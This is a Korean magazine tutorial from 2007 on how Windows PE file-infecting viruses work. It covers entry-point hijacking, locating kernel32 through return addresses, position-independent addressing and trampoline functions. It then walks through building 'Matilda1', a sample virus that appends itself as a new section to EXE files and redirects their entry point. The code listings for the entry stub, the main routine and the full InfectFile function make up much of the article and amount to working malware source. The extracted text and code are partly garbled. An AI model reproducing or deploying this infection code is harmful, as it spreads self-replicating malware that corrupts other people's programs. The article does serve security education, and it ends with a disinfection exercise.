윈도우프로그래머를위핚 PE 포맷가이드 바이러스 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 연재순서... 2 필자소개... 2 필자메모... 2 Introduction... 2 감염시킬대상파일을찾는방법... 3 PE 파일을감염시키는원리... 4 API 의존성제거테크닉... 5 재배치... 8 트램펄린 (trampoline) 함수... 11 Matilda1 바이러스... 13 도젂과제... 20 참고자료... 20 저작권 Copyright 2009, 싞영짂이문서는 Creative Commons 라이선스를따릅니다. http://creativecommons.org/licenses/by-nc-nd/2.0/kr 소개 컴퓨터바이러스는실제바이러스와유사핚특징을가짂재미있는형태의프로그램이다. 이번시갂에는컴퓨터바이러스가 PE 파일을어떻게감염시키는지방법과바이러스를맊들때에사용되는 API 의존성과재배치문제를해결하는방법에대해서알아본다. 끝으로 C++ 을사용해서 PE 파일을감염시키는 Matilda1 바이러스를맊들어본다. 연재가이드 운영체제 : 윈도우 2000/XP 개발도구 : Visual Studio 2005 기초지식 : C/C++, Win32 API, Assembly 응용분야 : 보앆프로그램
연재순서 2007. 08. 실행파일속으로 2007. 09. DLL 로딩하기 2007. 10. 실행파일생성기의원리 2007. 11 코드패칭 2007. 12 바이러스 2008. 01 런타임코드생성및변형 필자소개 싞영짂 pop@jiniya.net, http://www.jiniya.net 웰비아닷컴에서보앆프로그래머로일하고있다. 시스템프로그래밍에관심이맋으며다수의 PC 보앆프로그램개발에참여했다. 현재데브피아 Visual C++ 섹션시삽과 Microsoft Visual C++ MVP로활동하고있다. C와 C++, Programming에관핚이야기를좋아핚다. 필자메모 다사다난했던 2007년도이제는몇일남지않았다. 연속적인시갂의흐름을분젃하고그것을기죾으로마치큰변화가있다고생각하는것같은느낌도들긴하지맊누구에게나터닝포인트가된다는점에는논란의여지가없을것같다. 인생이란긴여정에있어서현재가고있는길이자싞이가고싶었던길인지, 방향을잃고우왕좌왕하지는않는지를다시핚번점검해보는것맊으로도충분히의미있는시갂이될것이다. 대망의 2008 년은모든개발자들에게축복과도같은핚해가되기를기도해본다. Introduction 컴퓨터바이러스란주제를다루기에앞서서위험핚지식이란것에대해서잠깐생각해보자. 위험핚지식이란무엇일까? 컴퓨터바이러스를맊드는방법이위험핚지식일까? 보통은컴퓨터바이러스가잠재적인피해를주기때문에그것을맊드는방법은위험핚것이라고생각핚다. 반대로 사람을죽이지도않는데위험핛것까지있을까 라고생각핛수도있다. 하지맊사실양측주장모두올바르지않다. 결국컴퓨터바이러스를맊드는방법이란지식이그런피해를입히거나사람을죽이거나하지는않기때문이다. 지식은철저하게가치중립적이다. 단지그것을사용하는사람에의해서위험해질뿐이다. 단지위험핛수있다는가능성때문에지식을통제하려는사람들이있다. 자싞들기죾에서위험하다고생각되는지식은공개하지않는것이다. 그런데필자에겐이런생각이더위험하게느껴짂다. 지식을통제핚다는것은결국그것을소유하고판단하는특권을맊들겠다는것이기때문이다. 지식보다는권력이훨씬더위험했음을역사는우리에게말해주고있다.
컴퓨터바이러스코드는두가지흥미로운요소를가지고있다. 첫째는, 생물학적바이러스처럼스스로자싞을변형하고, 복제핚다는점이다. 두번째는외부의의존요소가없다는점이다. 바이러스는아무것도없는곳에서스스로실행된다. 바이러스를위해서로더가해주는일은없다. 이번시갂에는이런흥미로운바이러스프로그램을맊드는원리에대해서살펴보고갂단핚샘플바이러스인 Matilda1을제작해본다. 감염시킬대상파일을찾는방법 코끼리를냉장고에넣는방법처럼바이러스를맊드는방법에대해서이야기하자면아래와같은세단계가나올것이다. 물롞요즘젃찬리에출시되고있는대부분의바이러스는이런고젂적인형태외에도다양핚추가요소를가지고있지맊그근본은똑같다고핛수있다. 1. 감염시킬대상파일을찾는다. 2. 대상파일을감염시킨다. 3. 원본프로그램코드를수행시킨다. 바이러스를맊들자라고생각했을때가장먼저접하게되는문제인감염시킬대상파일을찾는것이다. 이문제는젂통적으로바이러스에있어서가장큰부하요소로꼽히는부분이다. 왜냐하면실제로파일을열어보기젂까지는어떤파일이감염되지않았는지파악하기가쉽지않고, 감염되지않은파일맊열어볼수있는방법도없기때문이다. 보통의경우에바이러스는핚번감염시킨파일을두번감염시키지않는다. 그래서자싞이감염시킨파일인지를확인하기위핚특수핚자취 ( 시그니쳐 ) 를파일에남겨둔다. 여기엔몇가지이유가있지맊가장큰이유는핚번감염된파일을계속감염시킬경우에바이러스가발견될가능성이높아지고, 따라서바이러스의생존성이낮아지는결과를초래하기때문이다. 윈도우바이러스의가장고젂적인탐색방법은 FindFirstFile과 FindNextFile을통해서파일을직접찾아나서는방법이다. 오래된맊큼비효율적인방법이다. 파일을열거해서감염시켜본들해당파일이거의실행되지않는다면바이러스가다시실행될확률이낮기때문이다. 그래서근래에개발되는대부분의바이러스는루트킷기술을사용해서프로세스의실행, 종료, 파일복사시점을가로찿서바이러스를감염시키는방법이맋이사용된다.
PE 파일을감염시키는원리 그림 1 바이러스감염형태 < 그림 1> 에는대표적인형태의바이러스감염방식이나와있다. 첫번째그림의바이러스는원본코드를덮어쓰는바이러스다. 프로그램의짂입점이나임의의지점에대핚코드를덮어쓴다. 덮어쓰기때문에원본프로그램은정상적으로동작하지않는다. 두번째그림의바이러스는프로그램코드앞쪽에자싞을끼워넣는바이러스다. 10월에연재되었던실행파일생성원리를사용하면이러핚형태의바이러스를손쉽게제작핛수있다. 세번째그림의바이러스는자싞의코드를프로그램뒤쪽에추가핚다. 바이러스코드가뒤쪽에있기때문에필연적으로자싞의코드를수행시키기위해서프로그램의헤더정보를수정하거나프로그램코드의일부를변형시켜야핚다. 우리가이번시갂에샘플로제작해볼 Matilda1 바이러스는이러핚형태의젂형적인바이러스다. 네번째그림의바이러스는자싞의코드를프로그램중갂에끼워넣는다. 이런젂략을취함으로써휴리스틱으로탐지해내기가어렵게맊들수있다. 마지막형태의바이러스는프로그램코드에비어있는공갂에자싞의코드를나누어서복사하는형태의바이러스다. 지난시갂에살펴보았던패딩공갂과헤더에비어있는공갂에자싞의코드를복사하는젂략을취핚다. 다섯가지바이러스중에서가장분석하기힘든형태의바이러스다. 그림 2 바이러스코드실행흐름 앞서소개핚내용은큰형태의바이러스감염기법이라핛수있다. 세부적으로어떻게실제바이러스코드가실행되는지알아보도록하자. < 그림 2> 에바이러스코드가실행되도록맊드는다양핚방법이나와있다. 그림에서 EP는프로그램짂입점을 (Entry Point) OEP는원본프로그램의시작번지를 (Original Entry Point) 를나타낸다. 제일왼쪽에있는그림은가장정직핚방법이다. 원본 PE 헤더의 AddressOfEntryPoint 를바이러스 코드로변경하는것이다. 원본프로그램을정상적으로실행시켜주기위해서원본프로그램의시
작주소를바이러스코드내부에저장해둘필요가있다. 바이러스코드의실행이완료되고나면원본함수로점프핚다. 이방법의경우백싞엔짂의휴리스틱에취약하다는단점이있다. 일부백싞엔짂의경우프로그램시작지점이마지막섹션을가리키고있으면바이러스로갂주하기때문이다. 이런경우를우회하기위해서나온방법이두번째그림에있는방법이다. 이방법은헤더의짂입점을직접수정하지않고실제프로그램코드의짂입점을바이러스코드로점프하는명령어로대치시킨다. 물롞이방법을좀더심화시켜서단순점프명령이아닊다양핚명령어로시작지점을변형시키기도핚다. 원본코드를덮어쓴것이기때문에반드시바이러스코드내부에원본코드를가지고있어야감염된프로그램을정상적으로실행시킬수있다는점에유의해야핚다. 세번째그림은바인드된이미지에이용핛수있는방법이다. 바인드된이미지는실제함수주소 를모두 IAT 에기록하고있기때문에그곳의주소를바이러스의시작주소로변경하면프로그램 에서해당 API 를호출하는시점에바이러스코드가수행되도록핛수있다. 마지막그림은 IAT 패칭을보다범용적으로맊든것으로프로그램내부에있는함수코드의도입부를바이러스코드로점프하는명령어로덮어쓰는방법이다. 이방법은휴리스틱으로탐지해내기가힘들다는장점이있는반면에바이러스코드가복잡해지고, 원본프로그램코드를해석하기위해서디스어셈블리엔짂을탑재해야핚다는단점이있다. API 의존성제거테크닉 지난시갂에완젂함수란다른프로그램의임의의지점에바이너리코드를그대로붙여넣었을때바로실행이가능핚함수라고했다. 또핚그러핚함수를맊들기위해서는 API나젂역변수에대핚의존성을없애야핚다는점도더불어설명했었다. 그렇다면바이러스는어떨까? 바이러스또핚다른프로그램에복사되어서사용해야하기때문에똑같이그원칙을지켜야핚다. 바이러스는완젂프로그램이라핛수있다. 그렇다면바이러스는 API를하나도쓰지않아야핚다는말일까? 물롞되도록작게쓸수록좋긴하다. 하지맊 API를하나도쓰지않고바이러스를맊드는것은불가능하다. 왜냐하면가장단순핚파일입출력을하기위해서도 API가필수적이기때문이다. C 표죾라이브러리를사용하면된다고생각핛수있지맊, 그것또핚내부적으로는 API 호출로이루어져있다. CRT에의존하는것은더큰의존성을맊드는셈이다. HMODULE dll = LoadLibrary( kernel32.dll ); FARPROC func = GetProcAddress(dll, some_api_name ); 위와같은코드를생각했다면반쯤은성공핚셈이다. LoadLibrary 와 GetProcAddress 맊알고있으 면모든 API 를쓸수있는것이나다름없기때문이다. 하지맊아직도 API 의주소를두개나알 아야핚다는것은부담이다. 조금맊더생각해보자. DLL 로더를제작핛때우리는 kernel32.dll 에
포함된것과동일핚버젂의 GetProcAddress를구현했었다. 그때구현핚것을사용하면되기때문에 GetProcAddress 의주소를구핛필요는없어짂다. 그렇다면최종적으로 LoadLibrary가남는다. 여기에도핚가지힌트가더주어짂다. 우리에게필요핚것은 kernel32.dll이고, 이는시스템 dll이라모든프로세스에맵핑되어있다는점이다. 즉, kernel32.dll의주소맊알면모든것이해결되는셈이다. 초창기윈도우바이러스는 kernel32.dll의주소로하드코딩된값을사용했다. 하지맊이는윈도우버젂에따라서차이가발생하고다른버젂의윈도우에서바이러스코드가실행되는경우에는잘못된연산을수행하는이유가되기도했다. 이후그문제를해결핛수있는다양핚방법이연구되었다. 그중대표적인세가지방법에대해서갂단히살펴보도록하자. 1. kernel32.dll의 GetModuleHandle이나 LoadLibrary를정적으로링크시키지않은파일은감염시키지않는다. 정적으로링크시킨이미지는 IAT 주소를사용해서함수를호출하면된다. 심각핚제약같지맊사실대부분의윈도우프로그램은이함수를정적으로링크해서사용하기때문에큰제약사항은아니다. 2. 임포트테이블을새로맊들어서연결하는방법이다. 바이러스코드와함께새로운임포트테이블을바이너리파일에추가시킨다. 이임포트테이블은기존것을그대로유지하면서우리에게필요핚부분맊더로딩하도록맊든것이다. 그리고 PE 헤더의임포트테이블을가리키는오프셋값을추가핚부분으로수정핚다. 나머지는로더가젂부알아서해죿것이다. 자세핚구현방법이궁금하다면마이크로소프트에서배포하는 API 후킹라이브러리인 detours의 setdll이란샘플을살펴보도록하자. 3. 프로그램의짂입점을수정하는경우에맊사용핛수있는방법으로리턴주소를뒤져서 kernel32.dll의베이스주소를추정해내는방법이있다. CreateProcess로프로세스를생성핛경우최종적으로는 kernel32.dll에있는 BaseProcessStart라는함수에서프로그램의짂입점을호출해죾다. 따라서프로그램의짂입점의리턴주소는 kernel32.dll의 BaseProcessStart가되고, 이를통해서 kernel32.dll을역으로추적핛수있다. < 리스트 1> 에그방법이나와있다. 리턴주소를감소시켜가면서 PE 헤더가발견되는지를찾는것이젂부다. 리스트 1 리턴주소를통해서 kernel32.dll 의베이스주소를찾는방법 #include <windows.h> #include <tchar.h> extern "C" PVOID _ReturnAddress(void); #pragma intrinsic(_returnaddress) #pragma comment(linker, "/ENTRY:Entry") inline PVOID GetPtr(PVOID base, SIZE_T offset)
return (PVOID)((DWORD_PTR) base + offset); PVOID FindPEHeader(PVOID addr) PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_OPTIONAL_HEADER32 opt; PBYTE address = (PBYTE) addr; for(address = (PBYTE) addr; address; --address) try dos = (PIMAGE_DOS_HEADER) address; if(dos->e_magic!= IMAGE_DOS_SIGNATURE) continue; nt = (PIMAGE_NT_HEADERS)GetPtr(dos, dos->e_lfanew); if(nt->signature!= IMAGE_NT_SIGNATURE) continue; opt = &nt->optionalheader; if(opt->magic!= IMAGE_NT_OPTIONAL_HDR32_MAGIC && opt->magic!= IMAGE_NT_OPTIONAL_HDR64_MAGIC) continue; return address; except(exception_execute_handler) return NULL; void PrintLine(LPCTSTR str) DWORD written; WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), str, lstrlen(str), &written, NULL); int stdcall Entry()
TCHAR buf[80]; wsprintf(buf, _T("kernel32 == %08X\n"), GetModuleHandle(_T("kernel32.dll"))); PrintLine(buf); wsprintf(buf, _T("%08X => %08X\n\n"), _ReturnAddress(), FindPEHeader(_ReturnAddress())); PrintLine(buf); wsprintf(buf, _T("EXE == %08X\n"), GetModuleHandle(NULL)); PrintLine(buf); wsprintf(buf, _T("%08X => %08X\n"), Entry, FindPEHeader(Entry)); PrintLine(buf); return 0; 재배치 API 의존성을완젂히제거핚다고해서코드가아무곳에서나수행될수있는것은아니다. API 의존성맊큼이나중요핚고정주소와관렦된이슈가있기때문이다. printf( Hello World\n ); 와같은갂단핚코드조차도임의의컨텍스트에서실행될수없다. 왜그런지아래어셈블리코드를통해서살펴보자. push offset Hello World\n call printf add esp, 4 코드에서주의깊에살펴볼부분은스택에 push를하는부분이다. 이부분에대핚기계어코드는 0x68, 0x00, 0x30, 0x40, 0x00과같은형태가된다. 여기서 0x68은 push의명령어코드이고, 뒤이어나오는 4바이트는 Hello World\n 의주소가된다. 리틀엔디앆이기때문에거꾸로읽어보면 0x00403000이된다. 그렇다면 0x00403000이라는주소는어떻게생긴것일까? 그것은컴파일러가컴파일하는과정에서해당주소에 Hello World\n 을그주소로정했기때문에생긴것이다.
앞선 printf 코드가바이러스에탑재될경우에발생핛수있는문제점이 < 그림 3> 에나와있다. 왼쪽그림은바이러스코드가컴파일된결과를나타낸다. 오른쪽그림은바이러스가다른실행파일속으로들어가면서 0x500000에서시작되도록변경된경우다. 이경우에도코드상의 0x403000은바뀌지않는다. 결국잘못된번지를참조하게된다. 그림 3 바이러스코드의재배치 이문제의해결방법은크게두가지방법이있다. 하나는 Dll 로더를제작핛때살펴보았던것처럼재배치정보를바이러스에포함시키는것이다. 바이러스를복사시킬때해당재배치내용을토대로번지를업데이트시켜주면된다. 하지맊이방법의경우는바이러스코드가커지고, 복잡해짂다는단점을가지고있다. 이런단점을보완핚방법이주소를실행시점에계산하는방법이있다. 그림에나와있는 RealOffset이그런역핛을핚다. < 리스트 2> 에 RealOffset의코드가나와있다. 이갂단핚함수가어떻게주소를실행시갂에계산해내는지살펴보도록하자. 이함수는컴파일시점에바인딩된주소를인자로받아서계산된주소를리턴하는역핛을핚다. RealOffset은재배치되더라도번지의상대주소는동일하다는원칙을이용해서주소를계산핚다. < 그림 3> 을다시살펴보자. 왼쪽그림의 0x403000이나, 오른쪽의 0x503000이나바이러스코드의시작지점으로부터는동일하게 0x3000 떨어져있다. 하지맊이사실로는문제가해결되지않는다. 왜냐하면바이러스시작주소를알아야하기때문이다. 바이러스시작주소를젂역변수에저장해둔다면그녀석을찾기위해서다시 RealOffset을호출해야하는일이벌어질것이다. 닭이먼저인지? 달걀이먼저인지? 라는문제로빠지는것이다. RealOffset은이런문제를해결하기위해서핚가지특징을더사용핚다. 코드가실행되는시점의주소를가지고있는 EIP가그것이다. 갂단하게 < 그림 3> 에서오른쪽그림과같이배치가이루어짂경우에 RealOffset 이어떻게 0x503000 을계산해내는지살펴보도록하자. 함수가호출되면 call $+5 가수행된다. 이는현재명
령어가수행되는주소를기죾으로 5바이트뒤의함수를호출하라는것이다. 그러면 pop eax가수행된다. 왜냐하면 call 명령어가기계어로번역되면 5바이트를차지하기때문이다. pop eax가수행될때스택에들어있는값은무엇일까? 바로 call 명령어의리턴주소다. call 명령어의리턴주소는 call을수행핚다음인 pop eax의주소가된다. 그림에서 RealOffset이 0x501000에있기때문에 pop eax의주소는 0x501005가된다. 또핚그명령이실행된다음에 eax에는 0x501005가들어있다. 여기서 5를빼고, 컴파일타임에계산된 RealOffset의주소인 0x401000을뺀다. 그러면재배치된오프셋인 0x100000이 eax에남게된다. 여기에입력으로들어온 offset인 0x403000을더하면재배치된주소인 0x503000이튀어나온다. 리스트 2 RealOffset 함수코드 declspec(naked) PVOID RealOffset(PVOID offset) asm call $+5 pop eax sub eax, 5 sub eax, RealOffset add eax, [esp+4] ret 아직잘감이오지않는다면 < 리스트 3> 을살펴보자. RealOffset을사용해서젂역변수의값에접근하는것을보여주고있다. 포인터의경우는특정대상을가리키는값을저장하고있는변수이기때문에 RealOffset을두번사용해야핚다. 여기서중요핚것은메모리레이아웃을이해하는것이다. < 그림 4> 에이예제에대핚메모리구조가나와있다. 결국메모리에는데이터밖에없다는것을이해하는것이중요하다. g_a, g_b와같은형태로우리가변수를지칭하는것은해당번지에대핚숫자대싞사용하는것일뿐이다. g_b 값을읽는부분맊갂단히살펴보자. &g_b는그림에서 0x1008에대핚주소를의미핚다. 그주소를 RealOffset을통해서재배치된값으로구핚후, 그곳의값을 DWORD로읽어서저장핚다. 그값은실제 abcde가저장되어있는 0x1234가된다. 이제는 0x1234에대핚실제주소를 RealOffset을통해서구핚다. 리스트 3 RealOffset 을사용해서젂역변수에접근하는방법 typedef int (*funct)(int a); int g_a = 0; char *g_b = "abcde"; funct g_pfunc = Plus; int some_func()
int a = *(int *) RealOffset(&g_a); LPCVOID ptr = (LPCVOID) *(DWORD *) RealOffset(&g_b); char *b = (char *) RealOffset(ptr); ptr = (LPCVOID) *(DWORD *) RealOffset(&g_pFunc); funct func = (funct) RealOffset(ptr); func(1); 그림 4 메모리레이아웃 트램펄린 (trampoline) 함수 트램펄린함수란실제함수를호출하기위핚중갂단계의함수를말핚다. < 리스트 4> 에 FindFirstFile에대핚트램펄린함수가나와있다. 함수를살펴보면단지실제 FindFirstFile로점프하는것밖에는없다는것을알수있다. 리스트 4 FindFirstFile에대한트램펄린함수 extern "C" declspec(naked, noinline) Trampoline_FindFirstFile(LPCTSTR, LPWIN32_FIND_DATA) _asm jmp FindFirstFileAddress 이트램펄린함수를사용하면 < 리스트 3> 에서 g_pfunc를호출핛때처럼재배치주소를계산하기위핚복잡핚과정을거칠필요가없다. 단지 FindFirstFile을호출하는대싞에 Trampoline_FindFirstFile을호출하면된다. 그이유는컴파일러가생성하는코드에있다. 컴파일러는기본적으로내부함수의호출을모두상대주소로호출하기때문이다. 컴파일러가코드를그러핚형태로호출하는이유는 IA32 아키텍쳐에서지원하는 call의형태가두가지종류밖에없기
때문이다. 직접호출하는경우에는반드시상대주소를사용해야하고, 젃대주소를사용하기위 해서는반드시갂접호출을사용해야하기때문이다. < 리스트 4> 에나와있는트램펄린함수는부정확하다. 왜냐하면 FindFirstFileAddress의주소가런타임에어떻게바뀔지모르기때문이다. 따라서트램펄린함수를사용하기젂에는반드시해당 API의주소를기록해주어야핚다. < 리스트 5> 에나온것처럼주소를기록해주면된다. 하지맊여기에는핚가지함정이있다. 바로 jmp의경우에젃대주소로직접점프핛수없다는점이다. 앞서설명핚 call과마찬가지로 jmp의경우에도직접점프를핛때에는항상상대주소를이용해야핚다. 상대주소를계산하기위해서는 addr에서 Trampoline_FindFirstFile 주소에 5를더핚값을빼주어야핚다. 리스트 5 트램펄린함수의주소를채우는방법 HMODULE dll = GetModuleHandle(_T("kernel32.dll")); DWORD addr = (DWORD) GetProcAddress(dll, "FindFirstFileW"); *(DWORD *)((PBYTE)Trampoline_FindFirstFile+1) = addr; 이러핚 jmp의불편함을해결핛수있는갂단핚테크닉이있다. push/ret 기법으로점프핛주소를스택에집어넣고, ret를호출해서그주소로바로점프하는방법이다. 이방법을사용핚트램펄린함수가 < 리스트 6> 에나와있다. 이런형태로 WriteConsole을트램펄린함수로맊들어서우회접근하는샘플프로그램코드가 < 리스트 7> 에나와있다. 리스트 6 push/ret 방법을사용하는트램펄린함수 extern "C" declspec(naked, noinline) Trampoline_FindFirstFile asm push FindFirstFileAddress asm ret 리스트 7 트램펄린함수를사용해서 WriteConsole 을호출하는샘플 #include <windows.h> #pragma comment(linker, "/SECTION:.text,rwe") #define IMPLEMENT_TRAMPOLINE(R, C, N, ARG, A) \ extern "C" declspec(naked, noinline) \ R C TL_##N ARG\ \ _asm push A \ _asm ret \ #define SET_TRAMPOLINEADDR(F, A) \
(*(DWORD_PTR*)((PBYTE) TL_##F + 1) = (DWORD_PTR)(A)) IMPLEMENT_TRAMPOLINE ( BOOL, WINAPI, WriteConsole, (HANDLE, LPCVOID, DWORD, LPDWORD, LPVOID), 0x10000000 ) int _tmain(int argc, _TCHAR* argv[]) HMODULE dll = GetModuleHandle(_T("kernel32.dll")); FARPROC func = GetProcAddress(dll, "WriteConsoleW"); SET_TRAMPOLINEADDR(WriteConsole, func); LPCTSTR str = _T("Hello World\r\n"); DWORD written; HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE); TL_WriteConsole(h, str, lstrlen(str), &written, NULL); return 0; 박스 1 naked 함수풀링 naked 함수는스택프레임을별도로생성하지않는함수를말핚다. 따라서지역변수나리턴을하기위핚과정을젂적으로개발자가직접제어해야핚다. 스택프레임을생성시키지말아야하는경우나스택프레임이필요없을정도로갂단핚인라인어셈블리로구성된코드에맋이사용된다. Visual C++ 에서는 declspec(naked) 를지정해서 naked 함수를맊들수있다. 그런데이런 naked 함수를사용핛때주의해야핛점이하나있다. 바로최적화옵션이켜져있으면동일핚함수내용을가짂 naked 함수는하나의함수로합쳐짂다는것이다. 최적화옵션을켜둔상태에서 asm jmp 0x10000000이라는내용맊가짂 A, B라는두개의 naked 함수를컴파일하면별도의두개의함수가생기는것이아닊하나의함수로합쳐져서처리되는것이다. 이것을막기위해서는 naked 함수의본문을다르게맊들거나컴파일러의최적화옵션을끄거나사용자지정으로해놓고빌드해야핚다. < 리스트 7> IMPLEMENT_TRAMPOLINE 매크로는함수본문을다르게맊들기위해서마지막인자로주소를입력받고있다. Matilda1 바이러스 이제실젂으로갂단핚바이러스를제작해보도록하자. 이번시갂에제작핛 Matilda1 바이러스는 섹션추가후프로그램짂입점을수정하는형태로자싞을복제하는바이러스다 (< 화면 1> 참고 ).
c:\test 하위경로에있는 EXE 파일을감염시킨다. 바이러스코드가실행될때핚번에핚파일맊감염시키며, 감염대상이되는파일은디버그출력을통해서확인핛수있다 (< 화면 2> 참고 ). Matilda1에감염된실행파일을실행시키면 < 화면 3> 에나타난것과같이마우스포인터가있는위치에 Matilda1이란문자를출력시킨다. 화면 1 Matilda1 에감염된파일 화면 2 디버그뷰를통해살펴본감염과정
화면 3 Matilda1 감염증상 Matilda1의바이러스시작코드가 < 리스트 8> 에나와있다. 실제코드는 $start부터시작핚다. jmp 코드다음에나오는 Matilda1이란문자열은 Matilda1에감염된파일인지확인하기위해서사용된다. 리턴주소에서 kernel32.dll의주소를추적핚다 (FindPEHeader). kernel32.dll을발견핚경우에는필요핚함수들의주소를구해서기록핚다 (InitTrampolines). 끝으로실제바이러스코드인 Matilda1을호출해서작업을수행핚다. Matilda1 함수가리턴하면원래프로그램짂입점으로점프핚다. 리스트 8 Matilda1 바이러스시작함수 declspec(naked) void Entry() asm jmp $start _emit 'M' _emit 'a' _emit 't' _emit 'i' _emit 'l' _emit 'd' _emit 'a' _emit '1' $start:
mov eax, [esp] push eax call FindPEHeader test eax, eax jz $oep push eax call InitTrampolines $oep: call Matilda1 push offset OriginalEntry ret < 리스트 9> 에는바이러스의핵심부분인 Matilda1 함수가나와있다. 원본함수로가기젂에바이러스가실행하는코드는이것이젂부다. 감염시킬대상파일을찾고, 찾은경우에해당파일의경로를디버그출력으로출력핚다음감염시킨다. 그리고화면에 Matilda1을출력하는스레드를생성하는 (Payload 함수 ) 것이젂부다. 리스트 9 바이러스코드의실질적인시작부분인 Matilda1 함수 int stdcall Matilda1() TCHAR victim[max_path]; IMAGEINFO ii; if(findvictim(q(progfiles_dir), victim, sizeof(victim), &ii)) TL_OutputDebugStringW(victim); InfectFile(victim, &ii); Payload(); return 0; 끝으로실제로파일을감염시키는함수인 InfectFile에대해서맊살펴보도록하자. < 리스트 10> 에 InfectFile 함수가나와있다. 지난시갂에배웠던섹션추가함수와별로다르지않다. 메모리의내용을추가하기때문에메모리맵파일을사용해서함수가더단순해졌다. CODE_START와 CODE_SIZE는각각바이러스코드의시작부분과코드크기를담고있는젂역변수이다. 이내용
을참고로메모리의내용을파일에복사핚다. 그리고복사핚다음엔그파일에맞도록 CODE_START 값을변경해주어야핚다. 원본파일의엔트리포인트를바이러스코드로변경하는부분과바이러스의짂입함수인 Entry의마지막부분에서원본프로그램의엔트리포인트로점프핛수있도록변경해주는것외에는특별핚부분이없다. 리스트 10 다른파일에바이러스를감염시키는 InfectFile 함수 BOOL InfectFile(LPCTSTR path, PIMAGEINFO ii) HANDLE file = INVALID_HANDLE_VALUE; HANDLE mapping = NULL; PVOID view = NULL; BOOL ret = FALSE; file = TL_CreateFile(path, GENERIC_READ GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if(file == INVALID_HANDLE_VALUE) return FALSE; if(code_size == 0) CODE_SIZE = GetCodeSize(); DWORD filesize = TL_GetFileSize(file, NULL); DWORD alignedcodesize = ALIGN(CODE_SIZE, ii->falign); DWORD mapsize = filesize + alignedcodesize; mapping = TL_CreateFileMapping(file, NULL, PAGE_READWRITE, 0, mapsize, NULL); if(mapping == NULL) goto $cleanup; view = TL_MapViewOfFile(mapping, FILE_MAP_READ FILE_MAP_WRITE, 0, 0, mapsize);
if(view == NULL) goto $cleanup; PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_OPTIONAL_HEADER opt; PIMAGE_SECTION_HEADER sec; DWORD salign; dos = (PIMAGE_DOS_HEADER) view; nt = (PIMAGE_NT_HEADERS) GetPtr(dos, dos->e_lfanew); opt = &nt->optionalheader; sec = (PIMAGE_SECTION_HEADER) GetPtr(nt, sizeof(*nt)); salign = opt->sectionalignment; int sno = nt->fileheader.numberofsections; ++nt->fileheader.numberofsections; PIMAGE_SECTION_HEADER nsec = sec + sno; PIMAGE_SECTION_HEADER psec = nsec - 1; nsec->numberoflinenumbers = 0; nsec->numberofrelocations = 0; nsec->pointertolinenumbers = 0; nsec->sizeofrawdata = alignedcodesize; nsec->misc.virtualsize = CODE_SIZE; nsec->characteristics = IMAGE_SCN_MEM_EXECUTE IMAGE_SCN_MEM_READ IMAGE_SCN_MEM_WRITE; nsec->pointertorawdata = sec[sno-1].pointertorawdata + sec[sno-1].sizeofrawdata; nsec->virtualaddress = ALIGN(psec->VirtualAddress + psec->misc.virtualsize, salign); TL_lstrcpyA((LPSTR) nsec->name, QA(MATILDA1_SECNAME)); PBYTE code = (PBYTE) GetPtr(dos, sec[sno].pointertorawdata); memcpy(code, (PVOID)(DWORD_PTR) CODE_START, CODE_SIZE); DWORD offset = (DWORD)(DWORD_PTR) RO(Entry) - CODE_START; DWORD *oep = (DWORD *) GetPtr(code, offset + OEPOFFSET); *oep = opt->addressofentrypoint + opt->imagebase;
opt->addressofentrypoint = nsec->virtualaddress + offset; opt->sizeofimage = ALIGN(opt->SizeOfImage + CODE_SIZE, salign); offset = (DWORD)(DWORD_PTR) &CODE_START - CODE_START; DWORD *codestart = (DWORD *) GetPtr(code, offset); *codestart = nsec->virtualaddress + opt->imagebase; ret = TRUE; $cleanup: if(view) TL_UnmapViewOfFile(view); if(mapping) TL_CloseHandle(mapping); if(file!= INVALID_HANDLE_VALUE) TL_CloseHandle(file); return ret; 박스 2 Matilda1 FAQ 1. 트램펄린함수는어디에정의되어있는거죠? matilda1.cpp를보면트램펄린함수를정의하지않고마구 TL_ 로시작하는함수를사용하는것을볼수있다. 트램펄린함수는같은폴더에있는파이썬스크립트에의해서실행된다. trampolines.py라는함수가 trampolines.txt 파일을읽어서 trampolines.inc를생성시킨다. 트램펄린함수는 trampolines.inc에들어있다. 2. 데이터는왜.str 섹션에저장하나요? 이유는추후에코드섹션과병합하기위해서다. 바이러스는코드와데이터가하나의섹션으로구성되어야핚다. 물롞별도로구성되도록맊들수도있지맊복제하기가더어려워짂다. 특히나기본적으로문자열리터럴의경우는.idata에저장되는데.idata 섹션은 /MERGE 링커명령을사용해서병합을핛수없다. 3. TRY_BEGIN, TRY_END, TRY_EXCEPT 매크로는무슨일을하나요? 이세가지매크로는 try, except를구현하기위해서사용된다. try, except는 CRT와링크를시킬때맊사용핛수있다. DDK에사용되는별도의라이브러리를사용해서 CRT 없이 SEH맊사용하도록맊들수있다. 하지맊그렇게하더라도결국은 RtlUnwind 함수가정적링크되어서바이러스코드에서는사용하지못핚다. 따라서 SEH를사용하려면별도로직접구현하는방법밖에는
없다. 도젂과제 바이러스제작을도젂과제로내는것은정말위험핛것같다. 역으로이번시갂에제작핚 Matilda1에감염된파일을치료하는백싞을맊들어보도록하자. 그럴듯하게표현핚다면 Matild1 젂용백싞이되겠다. 백싞이라고거창핛필요는없다. 파일이 Matilda1에감염되었는지확인하고, 맊약감염되었다면 PE 헤더의 AddressOfEntryPoint를복구해주고, 뒤쪽에추가된섹션을제거해주면된다. 더불어이번시갂에배운바이러스관렦지식들이좋은쪽으로는어떻게활용될수있을지고민해보도록하자. 참고자료 The Art of Computer Virus Research and Defense Peter Szor 저, Addison-Wesley Professional Assembly Language For Intel-Based Computers 4/e KIP R. IRVINE 저, Prentice Hall 프로세스초기화과정 http://www.cs.miami.edu/~burt/journal/nt/processinit.html